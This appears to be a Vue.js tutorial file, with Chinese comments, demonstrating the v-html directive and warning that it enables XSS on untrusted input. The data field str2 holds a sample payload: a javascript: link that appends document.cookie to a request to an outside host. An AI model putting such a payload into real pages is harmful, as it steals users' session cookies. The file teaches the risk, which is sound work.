<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>v-html</title>
        <!-- 引入Vue -->
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
        <!-- 
            v-html指令:
                1. 作用: 向指定节点中渲染包含html结构的内容
                2. 与插值语法的区别:
                    (1) v-html会替换掉节点中所有的内容,{{xxx}}则不会.
                    (2) v-html可以识别html结构.
                3. 严重注意:v-html有安全性问题
                    (1) 在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击.
                    (2) 一定要在科信的内容上使用v-html,永不要用再用户提交的内容上!
         -->
        <div id="root">
            <div>你好, {{name}}</div>
            <div v-html="name"></div>
            <div v-html="str"></div>
            <div v-html="str2"></div>
        </div>
        <script type="text/javascript">
            Vue.config.productionTip = false    // 阻止Vue在启动时生成生产提示

            // 创建Vue实例，开端
            new Vue({
                el: '#root', // el用于指定当前Vue实例为哪个容器服务，值通常为css选择器字符串。
                data: {     // data中用于存储数据，数据供el指定的容器去使用
                    name: "Vue",
                    str: "<h3>jjjjj</h3>",
                    str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击</a>'
                }
            })
        </script>
    </body>
</html>
